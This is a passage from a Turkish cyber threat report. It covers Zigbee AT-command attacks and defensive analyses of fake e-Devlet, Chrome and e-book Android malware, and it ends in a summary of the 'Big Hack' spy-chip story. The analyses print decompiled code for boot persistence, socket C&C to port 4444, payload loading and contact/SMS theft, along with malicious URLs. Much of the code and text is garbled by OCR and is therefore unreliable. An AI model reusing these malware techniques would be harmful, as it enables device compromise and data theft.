Zigbee koordinatori ise (ayni zamanda Trust Center go-
revini de gortr), yeni kurulan aglari tanimlamak icin cihaz
tanimlama ve ag bulma islemlerinden gegirir. Bu, PAN ID
cakismalarinin énlenmesini saglar. Bu slire¢ Zigbee agina
yonelik birgok tehdit olustursa da bu islem, Zigbee cihaz-
larinin belirli bir agla iliski kurmasi ve diger Zigbee cihaz-
larini kesfetmesi icin énemli ve gereklidir. K&ti amagh bir
saldirgan, birbirine komsu aglan kesfetmek icin rasgele
“beacon request’ler génderebilir. Zigbee cihazlar tara-
findan gonderilen bu istekler, ag kesif islemi icin temeldir
ve devre disi birakilamaz. Sebekeye katiimak icin rasge-
le cihazlarn istek géndermesini 6énlemek icin, standart
aglarda kullanilan IDS/IPS sistemlerini bir Zigbee aginda
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kullanmak muimkiindir. Bu IDS/IPS sistemleri dahili ve
harici cihazlardan génderilen istekleri aga gére analiz eder
ve kotl niyetli bir istek génderildiginde 6nceden tanimlan-
mis olan gerekli aksiyonlar alabilir.

Zigbee koordinatori ayrica aga katilmak isteyen Zigbee
digimlerinden (Zigbee Sensoér) génderilen istekleri dog-
rulamakla gdrevlidir. Bu tUr saldinlar azaltmak igin bas-
vurulabilecek bir dnlem de Zigbee aginda olmasi isteni-
len butin sensérlere 6nceden ve sadece mevcut Zigbee
agindaki cihazlarin bildigi bir anahtan yiiklemek olabilir.
Bu islem, koordinatériin yalnizca glivenli digimler tara-
findan génderilen istekleri kabul etmesini ve yalnizca bu
dugimlere erisim izni vermesini saglar. Glvenli ag anah-
tar olmayan Zigbee duglmleri koordinatdrle bir cihaz
iligkisi olusturamaz.

Saldin testlerinin yapildigi deney ortami toplam 13
Zigbee sensdérinden olusur. Kapall ve kigik bir Zigbee
aginda yapilan bu saldirt demosunun blyik bir agda yu-
ritilmesi durumunda, kétl niyetli bir saldirganin diger
dugimlerle iletisim kuracagi ve onlarla veri aktariminda
yer alacag@i icin kimlik hirsizligi agisindan ciddi yankila-
r olabilecegi not edilmelidir. Ayrica, saldirgan biyik bir
agdaki bir digimin PAN ID’sini degistirebilir ve saldir
dizenlenen diigime bagh olarak tim agin veri akisini ta-
mamen bozabilir. Bu iglem, énemli veri ve bilgilerin kay-
bolmasina neden olabilir.

6.3. Sonu¢

Rapor, loT aglarinda Zigbee tabanli sensorlerin glivenlik
gelisimini, Zigbee tabanl loT aglarinin deneysel testleri
icin kullanilan test yatagdi tasarimini ve konfiglirasyonunu
sundu. Degerlendirme sirasindaki kesfe dayanarak, bu
makale ayrica Zigbee tabanl sensoérleri kullanarak loT
agini yapilacak bir saldiryr simile etmek icin test orta-
mindaki cihazlara uzak AT komutlarini géndererek saldi-
rilar gerceklestirdi. Bu saldirilar, hedef adres degisikligi,
digim kimligi degisikligi ve agin PAN kimligi paramet-
relerinin degistiriimesini iceren saldir tlrleriydi ve saldiri
sonucu degistirilebilen ag parametreleri, XCTU yazihimi
kullanilarak dogrulandi. Saldirlar test yatagi icinde daha
kiclk bir dlcekte Uretilse de kiiglik degisiklikler yapila-
rak daha blyuk 6lgekte de gercgeklestirilebilir. Bu yazida
sunulan deney ve verilerin, Zigbee aglarinda uzaktan AT
komut tabanli glvenlik saldirlari gerceklestirmede cok
yardimcl olacagina inaniyoruz. Bu nedenle gelecekte-
ki calismalarimiz, loT aglarindaki blylk oOlcekli Zigbee
tabanl sensoérlere ydnelik saldirilarin salinimini igerebi-
lir. Son olarak, loT aglarindaki Zigbee tabanli sensérler
agin guvenligini saglamak icin yazilim diizeyinde, cihaz
yapilandirma diizeyinde ve harici diizeyde glvenlik de-
gerlendirmesi gerektirir.
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Bu kisimda STM Siber Flizyon Merkezimizdeki analistle-
rin yaptigi farkl zararli yazilimlarin davranis analizlerinin
sonuglari verilmektedir.

7. E-DEVLET OLTALAMA ZARARLI
YAZILIM ANALIZI

E-Devlet uygulamasi ginimuizde neredeyse her Tlrkiye
Cumhuriyeti vatandasinin kullandigi son derece kritik bir
uygulama. Uygulama bu yoéntyle saldirganlarin da sik-
likla hedefi haline gelmektedir. Android Play Store’da ve
internetteki cesitli kaynaklarda e-Devlet uygulamasini
taklit eden zararll uygulama 6rneklerinin sayisi da gide-
rek artmaktadir. Bu raporda inceledigimiz zararl yazihm
ornegi gectigimiz Eylll ayinda kisa sireli olarak Play
Store’da yer almistir.

incelenen dosyaya ait SHA-256 hash bilgisi asagidaki
gibidir:

bc28c899c406e62ad78f37ac861d56613a22757953
7eb7d9345d936277a59a16

incelenen dokiimanin VirusTotal sonuglan asagidaki
gibidir.

Sekil 44: Zararlinin VirusTotal sonuglant™.

Zararli, e-Devlet ikonuyla uygulamalar arasinda vyer
almaktadir.
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Sekil 45: Uygulama ikonu (¢alistinimadan énce).

Zararl calistinldiinda kullanicinin karsisina asagidaki
ekran ¢ikmaktadir;

o,

turkiye.gov.tr

Fifremi Unuttum

Sisteme Girig Yap

0 Mobil imza ile Giris Yapin

Sekil 46: Zararliya ait giris ekrani.

Zararl uygulamanin kullandidi izinler asagidaki gibidir:

<uses-sdk a
<uses-permission
SUSHES-ermiss10n
SUSES-[ermission
<uses-permission
<USes-permission
<USES-PErml5510n
<uses-permission android
<uses -permission android
<u permission
<uses-permission
“uses-permission
<uses-feature
<uses-permission android

me="android.permission.WAK

Sekil 47: Uygulama izinleri.

SIBER TEHDIT DURUM RAPORU
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Sekil 48: Gergek uygulamaya ait Manifest dosyasi.
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Sekil 49: Zararli uygulamaya ait Manifest dosyasi.

Zararliya ait Manifest dosyasi detayli olarak incelendigin-
de, gercek e-Devlet uygulamasinin alinip tzerine zararli
kod pargasinin sonradan paketlendigi anlasiimaktadir.
Bu nedenle gergcek uygulamaya ait Manifest dosyasi ile
zararli uygulamaya ait Manifest dosyasi kiyaslandiginda,
zararlinin farkli olarak bir adet receiver ve bir adet servis
tanimlamasi yaptigi gorilmustar.

Manifest dosyasinda gordiigimuz Uzere zararli tr.gov.
turkiye.edevlet.kapisi.ignmeohnww.jkbmcptsja ismin-
de bir BroadcastReceiver tanimlamis. ilgili sinif aracili-
giyla yazihmin mobil cihazin her yeniden agilisinda bir
servis baglattigi tespit edilmistir.

public class jkbmeplsja
extends BroadcastReceiver {
public void onReceave(Context context, Intent intent) {
if (!"android.intent.action.BOOT_COMPLETED".equalsiintent.getaction()}) return:
zrehyawunt startService( (Context)context) :

Sekil 50: Cihazin agilmasiyla tetiklenen BroadcastReceiver sinifi.

zrcbyxwunf isimli sinif android.app.Service sinifindan
turetilmis ve telefonun yeniden acildigi anlarda igindeki
onStartCommand isimli metot ¢alisacak sekilde ayarlan-
mistir. Bu metodun igine bakildiginda gokcdfaxvw isimli
siniftan start metodunu galistirdigi gérilmistar.

public int on5tartCommand{Intent intent. int n. int n2) {
gokcdfaxvw.start({Context)this);
return 1;

]

Sekil 51: Servis igindeki onStartCommand metodu.

gokcdfaxvw icinde yer alan start metodu ise globalde
bulunan bir degiskene uygulamanin context’ini kaydet-
mekte ve startinPath metodunu calistirmaktadir. Bu
metotta yeni bir is pargacigi olusturularak, bu is parca-
cigi Uzerinden gokcdfaxvw icindeki main isimli metot
calistinimaktadir.
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public static woid start(Context context) [
b - context;

gokcdfanvw. startInPathii5tringlcontext.getFilesDir{).toStringl}}

public static veid startInPathi{Strar
b= mew Object [M{string, a}:
new di}.start(};

1 string} {

Sekil 52: Start ve startinPath metotlari.

final class d
sxtends Thread {
di} {
}

public tinal void run(} {
gokedlaxvw.main (null);

Sekil 53: Main isimli metodu ¢alistiran is parcacidi sinifi.

Zararll yazilim ¢alistiinda kod iginde bulaniklastiriimig
bir IP adresi ¢dzllmekte ve 4444 portu Gzerinden bu ad-
rese soket Uizerinden baglanmaktadir.

object =

Socket((string)object, n)

Sekil 54: Zararlinin baglanti kurdugu sunucuya ait IP ve port bil-
gileri.

Sunucuyla olan haberlesme gokcdfaxvw sinifinin a
isimli metodu Gzerinden devam etmektedir.

Sekil 55: Soket Uzerinden haberlesme - 1.

Karsidan gelecek olan verinin hangi
na kaydedilecegi
kaydedilmektedir.

dosya vyolu-
belirlenmekte ve jar uzantisiyla
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Sekil 56: Sunucudan alinacak olan verilerin dosya olarak kayde-
dilmesi.

Sunucu soketten gelen veriler okunarak bir byte dizine
yazilimakta ve dnceden belirlenen dosya yolu altinda
dosya olarak kaydedilmektedir.

Sekil 57: Verilerin soket Gzerinden okunmasi.

Zararl yazilm karsidan aldigi ve kaydettigi dosyada bu-
lunan kod bilesenlerini DexClassLoader isimli sinif araci-
hgiyla yiklemekte ve calistirmaktadir.

Sekil 58: Sunucudan gelen zararl uygulamanin devaminin yiklen-
mesi ve ¢aligtiriimasi.

Yapilan incelemenin ardindan ilgili érnegin Dropper/
Loader olarak tabir edilen tlirde bir zararlh yazilim oldugu
tespit edilmistir. Analiz edilmesini zorlastirmak icin icinde
cesitli kod bulaniklastirma teknikleri kullanilimistir. Zararli
iki asamada calismaktadir. Bu uygulama, komuta kont-
rol sunucusuyla irtibata gecip baska zararlilar indirme
ve calistirma goérevini yapmaktadir. Zararliya ait komu-
ta kontrol sunucusunun analizin yapildigi tarih itibariyle
acik olmamasli nedeniyle, analizin bir sonraki asamasina
gecilememis fakat Google Play veya farkl yollar aracili-
giyla yayilmakta oldugu ve bulastigi cihazlara asil zararli
kod bilesenlerinin indirilip calistinimasini saglayarak ikin-
ci asamay!i baslattigi tespit edilmistir. Zararl, ginimiz-
de cok yaygin olarak kullanilan e-Devlet uygulamasini
bire bir olarak taklit etmekte ve bu yoéniyle Turkiye'’yi
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hedef alan bir oltalama saldirisi tehdidi olugturmaktadir.
Bu nedenle kullanicilarin Google Play Store’da bulunan
her uygulamanin guvenilir olmadigini bilmesi énemlidir.
Uygulamaya ait yliklenme tarihi, indirilme sayisi bilgile-
rine bakilmasi ylizde 100 ayirt edici olmasa da 6nemli
olcude fikir verebilmektedir. Orijinal Ureticiye ait, yiksek
indirilme sayisina sahip ve uzun stredir Play Store’da
yer alan uygulamalarin kullaniimasina dikkat edilmelidir.

8. GOOGLE CHROME ZARARLI YAZILIM
ANALIZI

“Chrome” isimli ve “Google Chrome” gérselli bir uy-
gulama, Aralik ortasinda kisa sureli olarak Google Play
Store’da yer almistir. Uygulama, SUpheli paket ismi ve
“Chrome” benzerliginden dolayi incelenmistir.

Oncelikli olarak uygulama caligtinidiginda, SMS izni iste-
digi goérilmustlr. Bu izin sonrasinda zararl oldugu kesin
bir sekilde anlagilan uygulama icin ayrintili bir inceleme
yapilmistir. Aldigi izinler arasinda birgok kisisel veri ice-
ren, SMS, MMS, rehber bilgilerine, diske erisim, sistem
bilgilerinde degisiklik yapma gibi zararli davranis barin-
dirabilecek izinler yer almaktadir.

e android

oid. pe

Sekil 59: Uygulamanin aldidi izinler.

Uygulamanin kodunda bu izinlerin kullanimina dair bir
alan gérulememistir. Ancak, kaynaklari arasinda yer alan
bir dosyay! tekrar ¢alistinlabilir hale getirerek icinden yeni
bir uygulama cikardigi gériilmektedir. ikinci uygulamaya
kaynaklar Gzerinden erisim saglandiginda higbir dosya
tirine benzemedigi, dosyanin anlamli hale gelmesi igin
bir islemden gegmesi gerektigi anlasiimigtir.

1m60rup
Sekil 60: Kaynaklarda yer alan dosya.

SIBER TEHDIT DURUM RAPORU
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ikinci uygulamanin, ilk uygulamada yer alan decoding
ile tekrar calistinlabilir hale getirilerek birinci uygulama
icinden cagridigi géralmastir. Bu islem, ikinci dosya
icinden belli sayida byte’in silinip kalan kismin base64
decoding isleminden geciriimesiyle “.dex” uzantili bir
dosyaya yazarak gerceklestirilmistir.

RylefrrayOulput Stream by tedr raydulpul Strean = new Ry ledr rayDutput Strean(d:
NscetManager assetManager - getAssets();
StringDuilder stringBuilder2 - new StringDuilder();
stringBuilder stringBuilder3 = new StringBuilder():
stringBuilder3.append(”1lrnaakd” . toLowerCase() )
siringBuilder3.append(~7~):
stringbuilder2.append(stringBuilder3.tostring(}.tolowertasel)};
stringBuilder2.append(getAssets().list("1lrnaakd" ) [0])
TnpuTSTream inputstream = assetManager.open(stringuilder?.tostringi)):
inputStream, skapl4L);
inputStream = new InflaterInputStream{inputStream}:
byte[] arrayufiyte = new byte[2pas]:
while (true} {
inl i = inpulStrean. read(array0fByle):
it (L = 1} {
inputStream.close():
alfile, byteArrayDutputStream):
alfile};

relurn;

Sekil 61: ikinci uygulamanin gereksiz byte’larinin okunmadan alin-
masi.

Sekil 61°de yer alan kisim calistinldiktan sonra, alinan
gerekli kisimlar base64 decoding isleminden gegcirilerek,
bir adet “.dex” dosyasi elde edilmisgtir.

private void a(File paramFile, RylearrayOulpulStrean paramByleds rayOulpulStrean) {
byte[] arrayUfdyte - Basebd.decode(paramByteArraylutputStrean. toBytedrray(), ©);
FileOutputStream fileOutputStream = new FileQutputStream{paramFile):
fileGutputStream.write(array0fBytel;
alfiletutputStream):

Sekil 62: Base64 ile ikinci uygulamanin agiimasi.

Elde edilen ikinci uygulama asil uygulama i¢inden ku-
tiphane gibi kullaniimaktadir. Bu agsamadan sonra butin
islemlerin, gizlenmis ikinci uygulama i¢cinden gergekles-
tirildigi gorilmektedir. Ayrica bu asamada da, “Loader”
sinifinin alindigi ve “create” metodunun da gizlenmeye
calisildigi gorilmektedir.

private void al) {
ClassLoader classioader = (Classioaderithis.b:
StringBuilder stringBuilder = new StrangBuilder{);
stringBuilder.append(~com.Lo™}:
stringBuilder, append | “cadeR” .substring(1}. tolowerCase(});
this.g =« classioader. loadClass(stringBuilder. tostring()):
this.a = this.g.getMethod{“cccreATe” . tolowerCase( ). substrin

private void alFile paramFile) {
String 5tr = paranFile.getAbsolutePathil:
StringBuilder stringBuilder = mew StringBuilder():
stringBuilder. append(getFilesDir().getabsaluterath(});
stringBuilder, append (*///0"  toLowerCasel ), substring (2} };
alstr, atringBuilder.tostring(});

Sekil 63: ikinci uygulamanin diske yazilmasi ve birinci uygulama-
nin i¢ine ytklenmesi.

ikinci uygulama icinde bircok ekstra kiitiiphane kulla-
nilmistir. ikinci uygulama icinde de bitiin kodlar gizlen-
meye calisilmistrr. ikinci uygulama icinde kisisel verilerle
alakali, sistemle alakali birgok veriye erisim saglandigi
gorulmustdr. Veriler “Content Provider” ile C&C’ye gén-
derilmek Uzere bagka bir yapiya génderilmektedir.
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Oncelikle, rehberde kayitli kisilerin bitiin bilgileri alinmak-
tadir. Ayrica, sim karti hakkinda da bilgi toplanmaktadir.

{"contact_id", "display_name", "datal", "photo_ad"}

Sekil 64: Rehber kisileri bilgileri.

telephonyManager.getSubseriberTd( )|, d.f.al"simSer1al",

Sekil 65: Sim karti numarasi bilgisinin alinmasi.

SMS mesajlarinin okunmasi ve génderilmesi icin dina-
mik olarak izin alinmaktadir.

private static fimal fs37b - "android.sms.msg.action.SMS SEND";

collision with reot package name
f538c = "android.sms.msg.action

« renamed from: ¢ rea
private static final

hi_ﬂELIUERED”:

Sekil 66: Dinamik olarak alinan SMS génderme ve alma izinleri.

MMS ile gelen mesajlar okunmakta ve uygulama iginde
C&C baglantisi kurulan yapiya gonderilmektedir.

nyR sh? = new StringRuilder();
sb2.append("readMns ") ;
sb2.append(i];
Log.d("ws", sh?.toString());
ContentResolver contentResolver - context.getContentResolver();
if (i ==0) {
str = “content:/f/mms";
1 else [
trar 1 sb3 = new StraingBuilder();
sb3.append("content://mms/");
sha append(1);
str = sb3.toStringl);

Sekil 67: MMS mesajlarinin okunmasi.

Yapilan incelemede, zararli yazilimin ses kaydi aldigi da
gorulmektedir. Ses kayitlar alinip, “.rec” uzantili bir dos-
ya olarak kaydedilmektedir. Sonrasinda C&C’ye gbnde-
rilmek igin hazir hale getiriimektedir.

int minBufferSize = AudicTrack.getMinBufferSizelgooo, 2, 2);
byte[] bArr = new byte[ (minBuffersize = 32)1;

Sekil 68: Ses kaydetme fonksiyonu.
string f522a = "FEC";

Sekil 69: “.rec” uzantili dosya belirteci.

Zararl uygulama, gerekli bilgileri topladiktan sonra,
C&C baglantisini “pinterest.com” lizerinde yer alan pro-
fillerle gerceklestirmektedir. Bu yapida, dncelikli olarak
Pinterest sosyal medyasi lizerinde yer alan profille bag-
lanti kurulur ve “about” kisminda yer alan linke ulasilir.
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("jp.co.smbc.direct", "https://www.pinterest.com/emeraldguinndo?e,/"

Sekil 70: Pinterest profil linki.

bz = a.b.bicvar.b(), false);
i.k kvar = new d.1i.k("\"pinterestapp:abouty\":\"(.+71\"");
c.b.h ]

d.
d t) b2, "html");

.e.b.h.all(

Sekil 71: Pinterest profilde yer alan “about” kisminin parse edil-
mesi.

Bu linke ulasildiktan sonra, toplanan bitin veriler bu link
Uzerinden C&C sunucusuna aktarilr.

Yapilan incelemelerde, zararli yaziimin genel olarak kisi-
sel bilgilere, SMS bilgilerine, banka hesaplari bilgilerine
ulasmaya calistigi gérilmektedir. iki asamadan olusan
zararll yazilim, yakalanmamak i¢in ikinci asamay giz-
lemeye calismistir. Markette yer alan uygulama bire bir
“Chrome” replikasi olarak goértlmektedir. Bu sebeple uy-
gulamalar marketten indirilirken mutlaka Ureticisine ba-
kilmali, indirme sayisina aldaniimamalidir. Kullanicilarin
orijinal Ureticilerin uygulamalarini kullanmaya dikkat et-
mesi gerekmektedir.

Zararh URL’ler
https://jibun.jp-bankg.com
https://jibun.jp-bankg.com
https://jnb.jp-bankg.com
https://mufg.jp-bankg.com
https://smbc.jp-bankg.com

Tablo 2: Zararli URLler.

Zararhya Ait Bilgiler
Uygulama Adi: | Chrome
Paket Adi: com.yavm.jgpr
SHA256: 7dd8e51287e990934a50a0512e066c03a-
b0021ad51e5b5409f29ba7211c259c6
SHAT1: dfa2aa7ec11a3aad29570653cf17169f68cca3c9
MD5: 7604e961c2838d58b9434c7b84dbff9a

Tablo 3: Zararliya ait kiinye bilgileri.
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9. E-BOOK READER ZARARLI UYGULAMASI

GunimUizde online kitap okuma uygulamalarn giderek
daha cok kullaniimaktadir. Bu zararli, genel olarak kitap
okurlarini hedef almaktadir.

mdSsum ereader.apk £& shalS6sum ereader.apk && rabin2 -I ereader.apk
95617dbfa277d53f4f9b3e3b532010b2 ereader.apk

feBbBf@918786392e54081 2623 Tdad5d3d3484dc74c15al49004625e2eebb 16 ereader.apk

baddr Bl

binsz 8112279

bits 64

canary false

crypte false

endian  little

havecode false

laddr Bxd

linenum false

1syms false

maxopsz 16

minopsz 1

n false

pcalign @

i false

false
z false
true
stripped false
va false

Sekil 72: Uygulama detaylari.

Uygulama calistinldidi zaman karsimiza ¢ikan ilk ekran
asagidaki gibidir. Basit bir sekilde reklam barindirmakta-
dir ve pdf halinde dosya kabul etmektedir.

9 ceoo er. @
Recentbooks
mSave Money When Travel .

Sekil 73: Uygulama ekrani 1.

Sekil 74: Uygulama arama ekrani.

Ancak uygulamanin c¢alistirmak igin aldigi izinler dikkat
cekmektedir. AndroidManifest.xml dosyasi igcinden yet-
kileri kontrol edebiliriz.
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android:qle
5 on android;
-permission androld:na
es-permission androld: 2
-permission androld:name-"
-permission android:
-permission android:na

2 ton android:n:
android:
android:n:
android:na
android:
android:
android:
android:
an android:
ission android:n:
-permission android:na
-permission androdd:na
-permission android:na
-permission androdd:na
-permission androld:na
issi android: ne
android:
android:
android:
android:
android:n:
n android:na

27y an

Sekil 75: Uygulama izin detaylar.

Sekil 75’te goérildigl Uzere dosyada bazi kritik izinler

bulunmaktadir.

Dosyadaki Kritik izinler
“android.permission.INTERNET”
“android.permission.READ_PHONE_STATE”
“android.permission.WRITE_EXTERNAL_STORAGE”
“android.permission.GET_TASKS”
“android.permission.BATTERY_STATS”
“android.permission.CLEAR_APP_CACH”
“android.permission.SYSTEM_ALERT_WINDOW”

Tablo 4: Dosyadaki kritik izinler.

Sekil 75’te de gorildigu Gzere dosya “android.permis-
sion.INTERNET” yetkisi icermektedir. Bu yetkilendirme
uygulamada internet kullanmasini saglar. Bu yetkiyle
internete cikis yapillmaktadir. Telefon Uzerinden kontrol
edildigi zaman uygulama izinleri asagidaki gibidir:

Uygulamanin yénlendirdigi diger uygulamalar asagidaki
gibidir. Bu uygulamalar araciligiyla reklamlar veriimekte
veya baska bir zararli yaziim ¢alistirimaktadir.

Network communication

Phone calls

System tools

Show all

Sekil 76: Uygulamanin kullanicidan izin almadan sistemde aldigi
izinler.
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ildversionName="4.4.2-1456859

Top Free

Sekil 77: Uygulama ydnlendirme ekrani.

Decompile edilmis kodlarin analizi:

? FEBBBF0910786392E5498F2623FDA45D3D3484DC74C15A14
o~ #t android
o assets
¢ 8 com
¢ 8 autumn
¢ B water
AutumnWaterFragmentActivity.class
AutumnWaterReceiver.class
= AutumnWaterSDK$1.class
AutumnWaterSDK.class
= | AutumnWaterService.class
[Aui_:um n@-‘;e}_b_ Av':_t:i'wt y.C Ial_;Zs'_-
= | AutunmSdkPath.class
AutunmWaterPropertiesUtil.class
Badcase.class
Constants.class
MainActivity.class
ResourceUtil.class

Sekil 78: Uygulama fonksiyon bilgileri.

Fonksiyon listesi Sekil 78’de acik bir sekilde yazilimistir
ve bdylece fonksiyon isimlerinden kodun ne yapabilece-
gi tahmin edilebilir.
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Aktivite Listesi
com.autumn.water.AutumnWebActivity
com.autumn.water.AutumnWaterFragmentActivity
org.ebookdroid.ui.viewer.ViewerActivity
org.ebookdroid.ui.library.RecentActivity
org.ebookdroid.ui.opds.OPDSActivity
org.ebookdroid.ui.settings.SettingsActivity
org.ebookdroid.ui.settings.FragmentedSettingsActivity
org.ebookdroid.ui.settings.BookSettingsActivity
org.ebookdroid.ui.library.BrowserActivity
org.ebookdroid.ui.about.AboutActivity
org.ebookdroid.ui.library.dialogs.FolderDlg
net.coocent.android.xmlparser.GiftActivity
com.google.android.gms.ads.AdActivity

Tablo 5: Aktivite listesi.

public ¢
% ket

Enstancell. new {this
retur

cateh

ExCapLien, pry
return;

protected

saper
Context | this.getipplicationontext(}l:
try

1nvsie sjeet) nelnstance (1. mew

public boolean ank
var3_

it ¢SO, QuiEeaClassloade £ [Context) this. gethgpl icationContenti )

vars_5. LoaiClas

ass i core_MebAct yPrawy™i ;
VTS5 = ¥arS_S.qetMethodi onkeyDown”, new -TYPE} ] . invoke(vars_5.nevnstancel ). new

if (vard_4 == willl return super.onkeyDownivar]_1. var2_?

Sekil 79: Web activity fonksiyonu.

Kullanilan web iletisim fonksiyonlariyla cihazdan alinan
bilgiler uzak sunuculara aktarilabilmektedir.

Kullanilan yetkiler dahilinde s&zkonusu uygulamanin
basit bir trojan oldugu degerlendiriimektedir. Bu uygula-
mayla sunlar yapilabilir:

Veri silme,

Veri engelleme,

Veri degistirme,

Veri kopyalama,

Cihaza sistemsel olarak zarar verme.

Bu tir uygulamalarn ylklerken verilen izinleri dikkatlice
kontrol edilmelidir.

Not: “android.permission.INTERNET” yetkisi olmasa da
uygulama Google Play lizerine ylklenebilmektedir.
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Uygulamanin Erisim Sagladigi URLler

http://alog. g
p://alog.umeng.co/ http://schemas.android.com/apk/res/android

app_logs
http://alog.umeng.com/ http://www.coocent.net/coocentPromotion/
app_logs toolsgift/

http://www.coocent.net/coocentPromotion/

http://ebookdroid.
p://ébookdroid.org toolsgift/giftList.xml

http://www.coocent.net/coocentPromotion/

http://flibusta. d
p//fibusta.net/opds toolsgift/intersitialAdList.xml

http://hostname/? http://www.feedbooks.com/opds/facet

http://oc.umeng.co/check_ )
) http://www.google-analytics.com/collect

config_update

http://oc.umeng.com/check

config_update

http://www.google.com

http://opds-spec.org/
acquisition

http://www.plough.com/ploughCatalog_
opds.xml
http://opds-spec.org/

e http://www.w3.org/XML/1998/namespace
acquisition/open-access

https://googleads.g.doubleclick.net/mads/
static/mad/sdk/native/mraid/v2/mraid_app_
banner.js

http://opds-spec.org/image/
thumbnail

https://googleads.g.doubleclick.net/mads/
static/mad/sdk/native/mraid/v2/mraid_app_
expanded_banner.js

http://opds-spec.org/
thumbnail

https://googleads.g.doubleclick.net/mads/
static/mad/sdk/native/mraid/v2/mraid_app_
interstitial.js

http://plus.google.com/

http://schemas.android.com/
apk/lib/com.google.android.
gms.plus

Tablo 6: Uygulamanin erisim sagladigi adresler.

Bu kisimda teknolojik gelismelerin siber gtivenlik tze-
rindeki etkileri atak ve savunma baglaminda incelen-
mekte ve kiuresel gapta dikkat geken gelismeler analiz
edilmektedir.

10. ABD SIRKETLERINE SIZMAK iGIN
KULLANILDIGI IDDIA EDILEN AJAN-CIP

Cin casuslannin yaptigi iddia edilen sizma saldirisi, Amazon
ve Apple gibi sirketlerin de icinde bulundugu 30 blylk sir-
keti etkiledi. Buyuk yanki uyandiran ve hikimet ve kurum-
sal kaynaklara gére ABD ile yapilan teknoloji tedarik ticare-
tini dahi riske atan bu saldir, Bloomberg Businessweek’te
“The Big Hack: How China Used a Tiny Chip to Infiltrate U.S.
Companies” ¢alismasinda ele alindi. 2015 yilinda Amazon
Portland’daki “Elemental Technologies” adli startup kurulu-
sunu sessizce incelemeye bagsladi. Bugiin “Amazon Prime
Video” olarak bilinen video yayin hizmetinin bu denli blyU-
mesinde biylk payi olan bu kurulus blyilk video dosya-
lanni sikistirma ve farkli cihazlar icin formatlama yazilimlari
gelistiriyordu. Gelistirdikleri yaziim, Olimpiyat Oyunlarinin
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Bloomberg
Busine

The Big Hack

Sekil 80: Sunucu anakartlara yerlestirilen Sekil 81: Zararli mikrogipin entegre edildigi

mikrogip!'©. sunucu anakart!®.,
cevrimici yayinlanmasina, Uluslararasi Uzay Istasyonu ile
iletisim kurulmasina ve drone gérunttlerinin ClIA’e génde-
rilmesinde kullaniimigtil*el.

Amazon Web Services’in (AWS) CIA icin gelistirdigi yUk-
sek gulvenlikli bulut teknolojisinde, bu yaziimin kulla-
nilabilece@i disunildi. Bunun icin AWS, Elemental’in
glvenli olup olmadigini incelemek adina Gglncl bir sir-
ketle anlastigini duyurdu. ilk bulgulara gére AWS’den,
Elemental’in ana Urinunin daha siki incelenmesi isten-
digi bildirildi. Kaynaklara gore, Elemental’in kullandidi ve
musterilerin video sikistirmak icin aglarina kurduklari bu
pahall sunucular, diinyanin en buyUk sunucu anakart te-
darikgilerinden biri olan San Jose merkezli Super Jose
Computer Inc. sirketi tarafindan gelistiriliyordu. 2015
baharinda, Elemental firmasindan birka¢c sunucu ince-
lenmesi icin bahsi gecen glivenlik sirketine génderildit®l.

Bu guvenlik sirketi yapilan incelemelerde sunucu ana-
kartlarina entegre edilmis, piringten daha kiguk bir mik-
rogip (Sekil 80) tespit ettigini belirtti. Amazon bu durumu
yetkili ABD makamlarina bildirdi. Elemental’in sunucula-
r, Savunma Bakanhgi veri merkezlerinde, CIA’in drone
operasyonlari biriminde ve Donanma savag gemilerinin
aglarinda kullaniliyordu ve Elemental, ylizlerce mikrogip
muUsterisinden yalnizca biriydil'e.

Uc yildan uzun siiren gizli bir sorusturma sonucunda
arastirmacilar, bu ciplerin saldirganlara aga sizmak icin
gizli bir acik kapi biraktigini belirttiler. Arastirmacilar ayri-
ca ciplerin Cin’de taseronlar tarafindan igletilen fabrika-
lara yerlestirildigini tespit etmisti. Bu, insanlarin gérmeye
alisik oldugu yazilim tabanli saldirilardan cok daha farkli
bir saldirydi. Ayrica uzmanlara gére, donanimsal saldiri-
lar potansiyel olarak ¢ok daha yikiciydi ve bunlari tespit
edip 6nlem almak ¢ok daha zordu!"®,

Eylil 2015’te Amazon, Elemental’i satin aldigini du-
yurdu. Amazon, Apple ve Supermicro, Bloomberg
Businessweek’in konuyla ilgili raporlarini inceleyip isti-
sarede bulundular. Amazon, “AWS’nin tedarik zincirinde
herhangi bir taviz verilmemistir. AWS’nin kot niyetli gip-
ler veya Elemental’l satin alirken anakartlardaki donanim
degisiklikleri hakkinda bilgisi yoktu” seklinde bir acikla-
ma yapti. Apple tarafindan ise, “Bu konuda olduk¢a agik
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Sekil 82: Zararll hale gelmis anakartin bu-
lundugu sunucut®l,

olabiliriz: Apple herhangi bir sunucuda kéti niyetli cip,
donanim manipulasyonlari veya guvenlik aciklar bulmus
degildir” acgiklamasi geldi. Supermicro sézclisu Perry
Hayes ise bdyle bir sorusturmanin farkinda olmadiklarini
bildirdi. Cin hilkiimeti ise, Supermicro sunucularinin mani-
pulasyonuyla ilgili dogrudan aciklama yapmaktan kagindi
ve “Siber guvenlik alaninda tedarik zinciri gtivenligi ortak
bir sorun ve Gin de bir kurbandir” seklinde bir agiklama
yayinladi. CIA ve NSAYi temsil eden Ulusal Istihbarat
Direktorl ise konuyla ilgili yorum yapmaktan kagindit*el,

10.1. ABD Resmi Kaynaklarina Gére Sizma
Saldinisi Nasil Calisiyor?

ABD resmi kaynaklarina gére, Gin’in ilgili askeri birimi
bir kalem ucundan daha kiglk mikrogip tasarlayip imal
etmisti. Bu cipler saldin i¢in gerekli hafiza, ag yetenegi
ve yeterli seviyede islemci glciine sahipti. Bu mikrogip-
lerin dinyanin dnde gelen sunucu anakart saticilarindan
biri olan Supermicro’nun tedarikgileri olan Cin fabrika-
larina yerlegtirildigi tespit edilmisti. Ele gecirilmis olan
bu anakartlar (Sekil 81) Supermicro’nun sunucularina
yerlestirilmigtil'®l.

Zararll hale gelmis olan bu anakartlarin bagh oldugu
sunucular da (Sekil 82) haliyle zararli hale gelmisti ve
bu sunucular dizinelerce sirket tarafindan isletilen veri
merkezlerinde bulunuyordu. Uzmanlarin agikladigina
goére, bir sunucunun aciligl sirasinda bu zararli mikrogip
sunucunun isletim sisteminin cekirdegini degistirerek
isletim sistemini modifikasyonlara acik hale getiriyordu.
Cip ayni zamanda saldirganlar tarafindan kontrol edilen
bilgisayarlarla iletisime gecebiliyor ve komut calistirip
kodlamaya acik hale getiriyordul'®,

McLean’daki brifingden sonra gegen U¢ yilin ardindan,
Supermicro’nun anakartlarindaki saldirilan tespit etmek
icin ticari olarak uygun Urtin gikmadigi ve ¢gikmasinin da
